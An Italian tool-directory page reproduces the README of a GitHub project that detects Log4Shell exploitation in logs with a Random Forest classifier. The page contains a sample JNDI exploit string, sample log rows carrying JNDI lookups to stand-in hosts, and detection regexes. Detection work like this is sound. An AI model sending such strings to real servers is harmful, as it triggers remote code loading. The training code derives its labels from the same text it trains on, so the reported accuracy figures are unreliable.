Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
Analisi delle VulnerabilitàMachine LearningRilevamento IntrusioniPaper e RicercaApprendimento e FormazioneRisorse CurateRilevamento di AnomalieAnalisi dei Log
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

Questo repository fornisce un'analisi approfondita della vulnerabilità Log4Shell (CVE-2021-44228) e implementa un approccio basato sull'apprendimento automatico per rilevare tentativi di sfruttamento nei dati di log.

Vedi Repository
31 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Rilevamento della minaccia Log4Shell (CVE-2021-44228)

Panoramica

Questo repository fornisce un'analisi approfondita e l'implementazione di un Sistema di Rilevamento della Minaccia Log4Shell (CVE-2021-44228) basato su Machine Learning. Include:

  • Comprendere Log4Shell: Cos'è e perché è pericoloso
  • Raccolta del Dataset: Fonti e fasi di pre-elaborazione
  • Ingegneria delle Feature: Estrazione di pattern dannosi basati su JNDI
  • Addestramento del Modello di Machine Learning: Rilevamento basato su Random Forest
  • Risultati e Analisi: Metriche di prestazione e grafici di valutazione
  • Conclusioni e Lavori Futuri

Panoramica della Minaccia - Log4Shell (CVE-2021-44228)

  • Vulnerabilità: Esecuzione di Codice Remoto (RCE) in Apache Log4j 2
  • Esempio di Sfruttamento:
    root@kitploit:~
    ${jndi:ldap://malicious-server.com/exploit}
    
  • Impatto: Permette agli attaccanti di prendere il controllo completo dei sistemi affetti
  • Mitigazione: Aggiornare Log4j alle versioni corrette (2.17.0 o successive) e applicare regole firewall

Struttura del Repository

root@kitploit:~
📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

Raccolta Dati e Fonti

Dataset Utilizzati:

  • Log pubblici da Zeek Security Dataset
  • Log da honeypot da DShield
  • Simulazioni di attacco personalizzate utilizzando Metasploit e Kali Linux
  • Scarica il dataset qui: Log4Shell Logs

Descrizione del Dataset

  • Dimensione Totale del Dataset: 80 MB
  • Dati di Addestramento: 70% (56 MB)
  • Dati di Test: 30% (24 MB)
  • Log Totali: 1.000.000
  • Log Dannosi: 300.000
  • Log Benigni: 700.000

Dataset di Log di Esempio (log4shell_logs.csv)

TimestampIP SorgenteIP DestinazioneRichiestaCodice StatoUser-AgentMessaggio Log
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0Messaggio di Log Normale
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}

Ingegneria delle Feature

  • Normalizzazione dei Log: Convertire timestamp, estrarre campi
  • Estrazione di Feature basata su Regex: Identificare pattern jndi, ldap, rmi e dns
  • Vettorizzazione del Testo: Trasformazione delle feature basata su TF-IDF

Modello di Machine Learning per il Rilevamento delle Minacce

  • Algoritmo: Classificatore Random Forest
  • Metriche di Valutazione: Accuratezza, Precisione, Richiamo, Punteggio F1

Codice Python per l'Addestramento del Modello

root@kitploit:~
import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")

# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Predictions
y_pred = clf.predict(X_test)

# Model Evaluation
print(classification_report(y_test, y_pred))

Risultati e Analisi delle Prestazioni

Risultati dei Test:

  • Precisione: 98%
  • Richiamo: 95%
  • Punteggio F1: 96%
  • Tasso di Falsi Positivi: 3%

Confronto con i Lavori Esistenti:

  • I sistemi SIEM tradizionali basati su regole hanno 80-85% di accuratezza.
  • Il nostro approccio basato su ML raggiunge 96% di accuratezza, migliorando significativamente i tassi di rilevamento.
  • Rispetto ai metodi basati su Deep Learning, il nostro modello Random Forest è più veloce e interpretabile pur raggiungendo una precisione simile.

Curva Precisione-Richiamo

Curva Precisione-Richiamo per il Rilevamento Log4Shell

Matrice di Confusione

Matrice di Confusione per il Rilevamento Log4Shell

Conclusioni e Lavori Futuri

Conclusione:

  • Il modello Random Forest rileva efficacemente le minacce Log4Shell con alta precisione.
  • L'estrazione delle feature tramite riconoscimento dei pattern JNDI migliora l'accuratezza.
  • I log del mondo reale possono contenere elusioni avversariali, richiedendo ulteriore ottimizzazione.

Lavori Futuri:

  • Implementare deep learning (modelli basati su LSTM, Transformer) per il rilevamento di anomalie.
  • Integrare pipeline di elaborazione dei log in tempo reale (ad es., stack ELK, Apache Kafka).
  • Estendere il rilevamento ad altre vulnerabilità CVE basate su log.

Come Usare

  1. Clona il repository:
    root@kitploit:~
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. Installa le dipendenze:
    root@kitploit:~
    pip install -r requirements.txt
    
  3. Esegui lo script di addestramento del modello:
    root@kitploit:~
    python scripts/model_training.py
    
  4. Analizza i risultati del rilevamento nella cartella results/.

Scarica lo strumento